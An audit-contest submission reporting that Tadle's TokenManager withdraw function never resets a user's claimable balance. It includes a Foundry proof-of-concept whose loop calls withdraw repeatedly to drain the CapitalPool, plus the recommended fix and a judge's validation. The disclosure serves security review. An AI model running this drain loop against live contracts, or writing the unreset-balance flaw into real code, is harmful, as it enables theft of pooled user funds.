Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Potential for Complete Fund Drain from CapitalPool Contract Due to Inadequate State Reset

emanherawy

Summary

The withdraw(...) function in the TokenManager contract does not delete or reset the userTokenBalanceMap after transfering the fund , allowing an attacker to repeatedly call the withdraw(...) function and drain the contract's funds.

Vulnerability Details

The withdraw(...) function in the TokenManager contract allows users to withdraw their claimable funds from the capitalPool contract. The function retrieves the claimableAmount stored in the userTokenBalanceMap and transfers that amount to the user. However, after the transfer, the function does not delete or reset the entry in userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType]. This oversight enables an attacker to call the withdraw(...) function multiple times, each time withdrawing the same amount and potentially draining the contract's funds.

function withdraw(
...
) external whenNotPaused {
// @audit , `userTokenBalanceMap` not deleted or reset to 0 after withdraw
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
//... some checks
​
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
​
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
//... event emitted
}
​

POC

​
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.13;
​
import {Test, console2} from "forge-std/Test.sol";
import {SystemConfig} from "../src/core/SystemConfig.sol";
import {CapitalPool} from "../src/core/CapitalPool.sol";
import {TokenManager} from "../src/core/TokenManager.sol";
import {PreMarktes} from "../src/core/PreMarkets.sol";
import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";
import {TadleFactory} from "../src/factory/TadleFactory.sol";
​
import {
OfferStatus,
StockStatus,
AbortOfferStatus,
OfferType,
StockType,
OfferSettleType
} from "../src/storage/OfferStatus.sol";
import {IPerMarkets, OfferInfo, StockInfo, MakerInfo, CreateOfferParams} from "../src/interfaces/IPerMarkets.sol";
import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";
​
import {GenerateAddress} from "../src/libraries/GenerateAddress.sol";
​
import {MockERC20Token} from "./mocks/MockERC20Token.sol";
import {WETH9} from "./mocks/WETH9.sol";
import {UpgradeableProxy} from "../src/proxy/UpgradeableProxy.sol";
​
contract PreMarketsTest is Test {
SystemConfig systemConfig;
CapitalPool capitalPool;
TokenManager tokenManager;
PreMarktes preMarktes;
DeliveryPlace deliveryPlace;
​
address marketPlace;
WETH9 weth9;
MockERC20Token mockUSDCToken;
MockERC20Token mockPointToken;
​
address attacker = vm.addr(1);
address user1 = vm.addr(2);
address user2 = vm.addr(3);
address user3 = vm.addr(4);
​
uint256 basePlatformFeeRate = 5_000;
uint256 baseReferralRate = 300_000;
​
bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR = bytes4(keccak256(bytes("initializeOwnership(address)")));
​
function setUp() public {
// deploy mocks
weth9 = new WETH9();
​
TadleFactory tadleFactory = new TadleFactory(user1);
​
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
​
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarktes preMarktesLogic = new PreMarktes();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
​
bytes memory deploy_data = abi.encodeWithSelector(INITIALIZE_OWNERSHIP_SELECTOR, user1);
vm.startPrank(user1);
​
address systemConfigProxy =
tadleFactory.deployUpgradeableProxy(1, address(systemConfigLogic), bytes(deploy_data));
​
address preMarktesProxy = tadleFactory.deployUpgradeableProxy(2, address(preMarktesLogic), bytes(deploy_data));
address deliveryPlaceProxy =
tadleFactory.deployUpgradeableProxy(3, address(deliveryPlaceLogic), bytes(deploy_data));
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(4, address(capitalPoolLogic), bytes(deploy_data));
address tokenManagerProxy =
tadleFactory.deployUpgradeableProxy(5, address(tokenManagerLogic), bytes(deploy_data));
​
vm.stopPrank();
// attach logic
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarktes = PreMarktes(preMarktesProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
​
vm.startPrank(user1);
// initialize
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
​
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
​
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
​
// create market place
systemConfig.createMarketPlace("Backpack", false);
vm.stopPrank();
​
deal(address(mockUSDCToken), attacker, 100000000 * 10 ** 18);
deal(address(mockPointToken), attacker, 100000000 * 10 ** 18);
deal(attacker, 100000000 * 10 ** 18);
​
deal(address(mockUSDCToken), user1, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user2, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);
​
deal(address(mockPointToken), user2, 100000000 * 10 ** 18);
​
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
​
vm.warp(1719826275);
​
vm.prank(attacker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
}
​
function test_attacker_can_drain_contract_fund() public {
vm.startPrank(attacker);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
​
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
​
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
​
vm.prank(attacker);
preMarktes.abortAskOffer(stockAddr, offerAddr);
vm.startPrank(user1);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.abortBidTaker(stock1Addr, offerAddr);
​
vm.stopPrank();
// call capital pool to approve tokenmanager to spend the token
capitalPool.approve(address(mockUSDCToken));
vm.startPrank(attacker);
// let's first check the contract balance
uint256 contractBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("contractBalance", contractBalance);
uint256 claimAbleAmount =
tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken), TokenBalanceType.MakerRefund);
​
console2.log("Attacker claimAbleAmount", claimAbleAmount);
// Attack starts here
while (mockUSDCToken.balanceOf(address(capitalPool)) >= claimAbleAmount) {
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
claimAbleAmount =
tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken), TokenBalanceType.MakerRefund);
console2.log("Attacker claimAbleAmount", claimAbleAmount);
contractBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("contractBalance after withdrawl", contractBalance);
}
vm.stopPrank();
}
}
​

Impact

The attacker can drain all the funds from the contract by calling the withdraw function multiple times.

Tools Used

mmanually reviewed the code

Recommendations

Make sure to delete or reset the userTokenBalanceMap before transferring the funds to the user.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.